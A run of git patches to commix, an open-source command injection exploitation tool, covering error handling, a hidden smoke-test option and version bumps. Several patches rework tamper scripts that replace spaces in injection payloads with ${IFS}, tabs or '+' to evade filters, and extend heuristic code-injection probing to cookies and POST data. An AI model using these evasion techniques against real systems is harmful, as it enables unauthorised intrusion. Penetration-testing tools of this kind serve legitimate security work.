exc_msg for _ in ("No such file", "_'")): - err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). " - err_msg += "You should retrieve the latest development version from official GitHub " - err_msg += "repository at '" + settings.GIT_URL + "'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - elif "must be pinned buffer, not bytearray" in exc_msg: err_msg = "Error occurred at Python interpreter which " err_msg += "is fixed in 2.7.x. Please update accordingly. " @@ -199,6 +192,13 @@ def unhandled_exception(): print(settings.print_critical_msg(err_msg)) raise SystemExit() + elif "Invalid argument" in exc_msg: + err_msg = "Corrupted installation detected. " + err_msg += "You should retrieve the latest (dev) version from official GitHub " + err_msg += "repository at '" + settings.GIT_URL + "'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + elif all(_ in exc_msg for _ in ("No such file", "_'")): err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). " err_msg += "You should retrieve the latest (dev) version from official GitHub " diff --git a/src/utils/settings.py b/src/utils/settings.py index 5b83ffa606..6d42185cf1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "16" +REVISION = "17" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 0ea50034164755c0c16885b7f6c0ec8c6529f8ba Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 29 Oct 2021 09:26:15 +0300 Subject: [PATCH 0018/1023] Improvement regarding mechanism which nagging if used "dev" version is > 30 days old. --- doc/CHANGELOG.md | 1 + src/core/main.py | 3 ++- src/utils/settings.py | 2 +- 3 files changed, 4 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 5416217ce1..cf91aefc46 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old. * Revised: Improvements regarding dynamic code evaluation heuristic check. * Replaced: The `--encoding` option has been replaced with `--codec`. diff --git a/src/core/main.py b/src/core/main.py index 8cf11964fd..5260966071 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -637,7 +637,8 @@ def main(filename, url): # Get total number of days from last update if os.path.isfile(settings.SETTINGS_PATH): - common.days_from_last_update() + if settings.STABLE_RELEASE == False: + common.days_from_last_update() # Define the level of verbosity. if menu.options.verbose > 4: diff --git a/src/utils/settings.py b/src/utils/settings.py index 6d42185cf1..284000b89a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "17" +REVISION = "18" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From d95b052843b0f42e55f08fb46fa137d88f88f6dd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 1 Nov 2021 08:26:07 +0200 Subject: [PATCH 0019/1023] Added a new (hidden) option `--smoke-test` that runs the basic smoke testing. --- .github/workflows/builds.yml | 2 ++ doc/CHANGELOG.md | 1 + src/core/main.py | 6 +++++ src/core/testing.py | 51 ++++++++++++++++++++++++++++++++++++ src/utils/menu.py | 7 +++++ src/utils/settings.py | 4 ++- 6 files changed, 70 insertions(+), 1 deletion(-) create mode 100644 src/core/testing.py diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml index f4f0ee6120..e70e2e3e08 100644 --- a/.github/workflows/builds.yml +++ b/.github/workflows/builds.yml @@ -19,3 +19,5 @@ jobs: python-version: ${{ matrix.python-version }} - name: Basic import test run: python -c "import commix" + - name: Basic smoke test + run: python commix.py --smoke-test \ No newline at end of file diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index cf91aefc46..d4b3abc27a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.4 (TBA) +* Added: New (hidden) option `--smoke-test` that runs the basic smoke testing. * Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old. * Revised: Improvements regarding dynamic code evaluation heuristic check. * Replaced: The `--encoding` option has been replaced with `--codec`. diff --git a/src/core/main.py b/src/core/main.py index 5260966071..6bcdf94ef9 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -37,6 +37,7 @@ from src.utils import session_handler from src.utils import simple_http_server from src.thirdparty.colorama import Fore, Back, Style, init +from src.core.testing import smoke_test from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers @@ -59,6 +60,7 @@ # Use Colorama to make Termcolor work on Windows too :) init() + """ Define HTTP User-Agent header. """ @@ -627,6 +629,10 @@ def main(filename, url): #raise SystemExit() try: + + if menu.options.smoke_test: + smoke_test() + # Check if defined "--version" option. if menu.options.version: version.show_version() diff --git a/src/core/testing.py b/src/core/testing.py new file mode 100644 index 0000000000..c3ecf26a51 --- /dev/null +++ b/src/core/testing.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import os +import sys +from src.utils import settings + +""" +Runs the basic smoke testing +""" +def smoke_test(): + _ = True + file_paths = [] + for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH): + file_paths.extend([os.path.abspath(os.path.join(root, i)) for i in filenames]) + + for filename in file_paths: + if os.path.splitext(filename)[1].lower() == ".py" and not "__init__.py" in filename: + path = os.path.join(settings.COMMIX_ROOT_PATH, os.path.splitext(filename)[0]) + path = path.replace(settings.COMMIX_ROOT_PATH, '.') + path = path.replace(os.sep, '.').lstrip('.') + if "." in path: + try: + __import__(path) + except Exception as ex: + error_msg = "Failed while importing module '" + path + "' (" + str(ex) + ")." + print(settings.print_error_msg(error_msg)) + _ = False + + if _: + status = "succeeded without any issues" + else: + status = "failed" + info_msg = "The smoke-test has been " + status + "." + print(settings.print_info_msg(info_msg)) + raise SystemExit() + + diff --git a/src/utils/menu.py b/src/utils/menu.py index ab554450e9..793d89e96e 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -18,6 +18,7 @@ from src.utils import settings from optparse import OptionGroup from optparse import OptionParser +from optparse import SUPPRESS_HELP as SUPPRESS from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -598,6 +599,12 @@ def banner(): default=False, help="Disable console output coloring.") + # Hidden options +parser.add_option("--smoke-test", + action="store_true", + dest="smoke_test", + help=SUPPRESS) + parser.add_option_group(general) parser.add_option_group(target) parser.add_option_group(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index 284000b89a..0637679274 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "18" +REVISION = "19" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -340,6 +340,8 @@ def sys_argv_errors(): # Git issue URL. ISSUES_PAGE = "https://github.com/commixproject/" + APPLICATION + "/issues/new" +COMMIX_ROOT_PATH = os.path.abspath(os.curdir) + # Output Directory OUTPUT_DIR = ".output/" From d8d6f88718124584fb5b221391c643316ae7295e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 2 Nov 2021 07:44:54 +0200 Subject: [PATCH 0020/1023] Minor refactoring --- src/core/injections/controller/checks.py | 17 +++++++++++++- src/core/tamper/space2htab.py | 12 +++++----- src/core/tamper/space2ifs.py | 28 ++++++++++++++---------- src/core/tamper/space2plus.py | 16 +++++++++----- src/core/tamper/space2vtab.py | 21 ++++++++++-------- src/utils/settings.py | 2 +- 6 files changed, 62 insertions(+), 34 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index cfdb17ce4c..ea88d36d74 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -992,7 +992,7 @@ def whitespace_check(payload): if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",space2htab" else: - menu.options.tamper = "space2htab" + menu.options.tamper = "space2htab" settings.WHITESPACES[0] = "%09" # Enable the "space2vtab" tamper script. @@ -1238,6 +1238,21 @@ def perform_payload_modification(payload): from src.core.tamper import hexencode payload = hexencode.tamper(payload) + for encode_type in list(set(settings.MULTI_ENCODED_PAYLOAD[::-1])): + # Encode spaces. + if encode_type == 'space2ifs': + from src.core.tamper import space2ifs + payload = space2ifs.tamper(payload) + if encode_type == 'space2plus': + from src.core.tamper import space2plus + payload = space2plus.tamper(payload) + if encode_type == 'space2htab': + from src.core.tamper import space2htab + payload = space2htab.tamper(payload) + if encode_type == 'space2vtab': + from src.core.tamper import space2vtab + payload = space2vtab.tamper(payload) + return payload """ diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index d7aeb11eb9..c37d3e4bd9 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -22,10 +22,12 @@ __tamper__ = "space2htab" -settings.TAMPER_SCRIPTS[__tamper__] = True -if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "%09" -else: - settings.WHITESPACES.append("%09") +def tamper(payload): + settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.WHITESPACES[0] == "%20": + settings.WHITESPACES[0] = "%09" + else: + settings.WHITESPACES.append("%09") + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 0df13643a2..a5d58e1fe1 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -25,16 +25,20 @@ __tamper__ = "space2ifs" -if settings.TARGET_OS != "win": - settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "${IFS}" +def tamper(payload): + if settings.TARGET_OS != "win": + settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.WHITESPACES[0] == "%20": + settings.WHITESPACES[0] = "${IFS}" + else: + settings.WHITESPACES.append("${IFS}") else: - settings.WHITESPACES.append("${IFS}") -else: - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - -# eof \ No newline at end of file + if settings.TRANFROM_PAYLOAD == None: + settings.TRANFROM_PAYLOAD = False + warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." + sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + sys.stdout.flush() + print + return payload + +# eof diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index 27dc3cc22a..16efec438d 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -22,10 +22,14 @@ __tamper__ = "space2plus" -settings.TAMPER_SCRIPTS[__tamper__] = True -if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "+" -else: - settings.WHITESPACES.append("+") - +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def tamper(payload): + settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.WHITESPACES[0] == "%20": + settings.WHITESPACES[0] = "+" + else: + settings.WHITESPACES.append("+") + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index 7d535c8375..fc6e610e34 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -22,14 +22,17 @@ __tamper__ = "space2vtab" -if settings.TARGET_OS == "win": - settings.TAMPER_SCRIPTS[__tamper__] = True - if settings.WHITESPACES[0] == "%20": - settings.WHITESPACES[0] = "%0b" +def tamper(payload): + if settings.TARGET_OS == "win": + settings.TAMPER_SCRIPTS[__tamper__] = True + if settings.WHITESPACES[0] == "%20": + settings.WHITESPACES[0] = "%0b" + else: + settings.WHITESPACES.append("%0b") else: - settings.WHITESPACES.append("%0b") -else: - warn_msg = "Unix target host(s), does not support vertical tab(s)." - print(settings.print_warning_msg(warn_msg)) - + if settings.TRANFROM_PAYLOAD == None: + settings.TRANFROM_PAYLOAD = False + warn_msg = "Unix target host(s), does not support vertical tab(s)." + print(settings.print_warning_msg(warn_msg)) + return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 0637679274..ab7eb5b2d5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -216,7 +216,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "19" +REVISION = "20" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 763b11e2157b4e2aab6d9551c88c9e95ae8c6af4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 3 Nov 2021 09:47:28 +0200 Subject: [PATCH 0021/1023] Minor update --- src/core/testing.py | 17 ++++++++++++----- src/utils/settings.py | 8 +++++++- 2 files changed, 19 insertions(+), 6 deletions(-) diff --git a/src/core/testing.py b/src/core/testing.py index c3ecf26a51..ab7ce8547d 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -22,6 +22,9 @@ Runs the basic smoke testing """ def smoke_test(): + info_msg = "Executing smoke test." + print(settings.print_info_msg(info_msg)) + _ = True file_paths = [] for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH): @@ -35,17 +38,21 @@ def smoke_test(): if "." in path: try: __import__(path) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Succeeded importing '" + str(path) + "' module." + print(settings.print_debug_msg(debug_msg)) except Exception as ex: - error_msg = "Failed while importing module '" + path + "' (" + str(ex) + ")." + error_msg = "Failed importing '" + path + "' module due to '" + str(ex) + "'." print(settings.print_error_msg(error_msg)) _ = False + result = "Smoke test " if _: - status = "succeeded without any issues" + result = result + "passed." + print(settings.print_bold_info_msg(result)) else: - status = "failed" - info_msg = "The smoke-test has been " + status + "." - print(settings.print_info_msg(info_msg)) + result = result + "failed." + print(settings.print_bold_error_msg(result)) raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index ab7eb5b2d5..e24411ede7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -53,6 +53,7 @@ class HTTPMETHOD(object): WARNING_SIGN = "[" + Fore.LIGHTYELLOW_EX + "warning" + Style.RESET_ALL + "] " WARNING_BOLD_SIGN = "[" + Style.BRIGHT + Fore.YELLOW + "warning" + Style.RESET_ALL + "] " + Style.BRIGHT ERROR_SIGN = "[" + Fore.RED + "error" + Style.RESET_ALL + "] " +ERROR_BOLD_SIGN = "[" + Style.BRIGHT + Fore.RED + "error" + Style.RESET_ALL + "] " CRITICAL_SIGN = "[" + Back.RED + "critical" + Style.RESET_ALL + "] " PAYLOAD_SIGN = "[" + Fore.CYAN + "payload" + Style.RESET_ALL + "] " SUB_CONTENT_SIGN = " " * 7 + Fore.GREY + "|_ " + Style.RESET_ALL @@ -67,6 +68,11 @@ def print_error_msg(err_msg): result = ERROR_SIGN + str(err_msg) + Style.RESET_ALL return result +# Print error message +def print_bold_error_msg(err_msg): + result = ERROR_BOLD_SIGN + Style.BRIGHT + str(err_msg) + Style.RESET_ALL + return result + # Print critical error message def print_critical_msg(err_msg): result = CRITICAL_SIGN + str(err_msg) + Style.RESET_ALL @@ -216,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "20" +REVISION = "21" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From cfab07fc2422090de56de9eee8944d721a32bfc4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 4 Nov 2021 08:43:54 +0200 Subject: [PATCH 0022/1023] Minor update --- src/core/main.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 6bcdf94ef9..089e1d72d0 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -630,9 +630,6 @@ def main(filename, url): try: - if menu.options.smoke_test: - smoke_test() - # Check if defined "--version" option. if menu.options.version: version.show_version() @@ -655,6 +652,9 @@ def main(filename, url): else: settings.VERBOSITY_LEVEL = menu.options.verbose + if menu.options.smoke_test: + smoke_test() + if not menu.options.batch: settings.OS_CHECKS_NUM = 1 for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)): diff --git a/src/utils/settings.py b/src/utils/settings.py index e24411ede7..8e2d35b61e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "21" +REVISION = "22" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 0b5218e405b7aa8a17abbdb3ff4c8f5412f7e89a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 24 Nov 2021 18:49:41 +0200 Subject: [PATCH 0023/1023] Minor update regarding basic heuristic detection (for code injection). --- src/core/injections/controller/controller.py | 6 +++++- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 6b0b69ca4c..0073821f90 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -241,6 +241,9 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m Proceed to the injection process for the appropriate parameter. """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): + inject_http_headers = False + if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS): + inject_http_headers = True if menu.options.ignore_code: info_msg = "Ignoring '" + str(menu.options.ignore_code) + "' HTTP error code. " @@ -278,7 +281,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if not settings.LOAD_SESSION: if (len(menu.options.tech) == 0 or "e" in menu.options.tech): # Check for identified warnings - url = heuristic_basic(url, http_request_method) + if not inject_http_headers: + url = heuristic_basic(url, http_request_method) if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: while True: if not menu.options.batch: diff --git a/src/utils/settings.py b/src/utils/settings.py index 8e2d35b61e..639a5edfc8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "22" +REVISION = "23" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 6c75512ca6c4e909db7d520b8bd1fab8c2992601 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 28 Nov 2021 11:08:56 +0200 Subject: [PATCH 0024/1023] Fixes https://github.com/commixproject/commix/issues/715 --- src/core/requests/headers.py | 12 +++++++++--- src/utils/settings.py | 2 +- 2 files changed, 10 insertions(+), 4 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index ce837e8dd4..368a2dbf40 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -188,15 +188,21 @@ def https_open(self, req): if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break - except (_urllib.error.URLError, _http_client.BadStatusLine) as err_msg: + except (_urllib.error.URLError, _http_client.BadStatusLine, http.client.IncompleteRead) as err_msg: if current_attempt == 0: if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(err_msg): print(settings.SINGLE_WHITESPACE) - warn_msg = "The provided target URL seems not reachable. " - warn_msg += "In case that it is, please try to re-run using " + + if "IncompleteRead" in str(err_msg): + warn_msg = "There was an incomplete read error while retrieving data " + warn_msg += "from the target URL " + else: + warn_msg = "The provided target URL seems not reachable. " + warn_msg += "In case that it is, please try to re-run using " if not menu.options.random_agent: warn_msg += "'--random-agent' switch and/or " warn_msg += "'--proxy' option." + print(settings.print_warning_msg(warn_msg)) info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." print(settings.print_info_msg(info_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 639a5edfc8..b3f2e7a4d0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "23" +REVISION = "24" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 6fc2c25905f0073bcc39963df95a47b2d2736527 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 29 Nov 2021 09:28:31 +0200 Subject: [PATCH 0025/1023] Fixes https://github.com/commixproject/commix/issues/718 --- src/core/requests/headers.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 368a2dbf40..cec443df94 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -188,7 +188,7 @@ def https_open(self, req): if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break - except (_urllib.error.URLError, _http_client.BadStatusLine, http.client.IncompleteRead) as err_msg: + except (_urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead) as err_msg: if current_attempt == 0: if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(err_msg): print(settings.SINGLE_WHITESPACE) diff --git a/src/utils/settings.py b/src/utils/settings.py index b3f2e7a4d0..03e81fc102 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "24" +REVISION = "25" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 85e6836530e680c9f00707ab532eb3df3122a4b2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 4 Dec 2021 11:15:30 +0200 Subject: [PATCH 0026/1023] Fixes https://github.com/commixproject/commix/issues/716 --- src/core/injections/controller/checks.py | 5 +++++ src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index ea88d36d74..2dfce50f48 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -95,6 +95,11 @@ def load_cmd_history(): except (IOError, AttributeError) as e: warn_msg = "There was a problem loading the history file '" + cli_history + "'." print(settings.print_warning_msg(warn_msg)) + except UnicodeError: + if settings.IS_WINDOWS: + warn_msg = "There was a problem loading the history file '" + cli_history + "'. " + warn_msg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" + print(settings.print_warning_msg(warn_msg)) # If the value has boundaries. def value_boundaries(value): diff --git a/src/utils/settings.py b/src/utils/settings.py index 03e81fc102..83026ac720 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "25" +REVISION = "26" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From cff9c1a0e0b238dbea5d24c7dff12d0971ad8fd3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 6 Dec 2021 09:29:11 +0200 Subject: [PATCH 0027/1023] Minor update regarding basic heuristic detection (for code injection) --- src/core/injections/controller/controller.py | 14 ++++++++++---- src/utils/settings.py | 2 +- 2 files changed, 11 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 0073821f90..dfcbb70ee1 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -95,13 +95,19 @@ def heuristic_basic(url, http_request_method): payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) - if not menu.options.data: - request = _urllib.request.Request(url.replace(settings.INJECT_TAG, payload)) + data = None + cookie = None + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + elif menu.options.data: + data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: - data = menu.options.data.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + if settings.INJECT_TAG in url: + url = url.replace(settings.INJECT_TAG, payload) + request = _urllib.request.Request(url, data, headers={"Cookie": cookie}) headers.do_check(request) response = requests.get_request_response(request) + if type(response) is not bool: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) diff --git a/src/utils/settings.py b/src/utils/settings.py index 83026ac720..c64e8f8d61 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "26" +REVISION = "27" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From b9892ea70d99050a329facccea6543bea3d8feb7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 10 Dec 2021 19:11:07 +0200 Subject: [PATCH 0028/1023] Fixes https://github.com/commixproject/commix/issues/721 --- src/core/requests/proxy.py | 5 +++++ src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index dc6bf64891..4cfd6ca4a0 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -14,6 +14,7 @@ """ import sys +import socket from src.utils import menu from src.utils import settings from src.core.requests import headers @@ -41,6 +42,10 @@ def do_check(url): err_msg = "Unable to connect to the target URL or proxy." print(settings.print_critical_msg(err_msg)) raise SystemExit() + except socket.timeout: + err_msg = "The connection to target URL or proxy has timed out." + print(settings.print_critical_msg(err_msg) + "\n") + raise SystemExit() """ Use the defined HTTP Proxy diff --git a/src/utils/settings.py b/src/utils/settings.py index c64e8f8d61..6506ab8646 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "27" +REVISION = "28" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 43382758c3d743fa06c5252f6e9d91811f400ae1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 13 Dec 2021 09:55:55 +0200 Subject: [PATCH 0029/1023] Minor update --- src/core/injections/controller/parser.py | 9 +++++---- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index c9c8bd5a89..1d095c11b2 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -195,13 +195,14 @@ def invalid_data(request): if single_request: sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() - if menu.options.logfile: - info_msg = "Parsed target from '" + os.path.split(request_file)[1] + "' for tests :" - print(settings.print_info_msg(info_msg)) + if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: sub_content = http_method + " " + prefix + menu.options.host + request_url print(settings.print_sub_content(sub_content)) + if menu.options.cookie: + sub_content = "Cookie: " + menu.options.cookie + print(settings.print_sub_content(sub_content)) if menu.options.data: - sub_content = "Data: " + menu.options.data + sub_content = "POST data: " + menu.options.data print(settings.print_sub_content(sub_content)) # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 6506ab8646..517a0f15d2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -222,7 +222,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.4" -REVISION = "28" +REVISION = "29" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 4104e81dd9d408e2c76c8b6efbb342450aa176c8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 18 Dec 2021 10:27:39 +0200 Subject: [PATCH 0030/1023] Minor fix regarding commit: https://github.com/commixproject/commix/commit/cff9c1a0e0b238dbea5d24c7dff12d0971ad8fd3 --- src/core/injections/controller/controller.py | 5 +++-- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index dfcbb70ee1..d23b244563 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -97,14 +97,15 @@ def heuristic_basic(url, http_request_method): print(settings.print_payload(payload)) data = None cookie = None + tmp_url = url if menu.options.cookie and 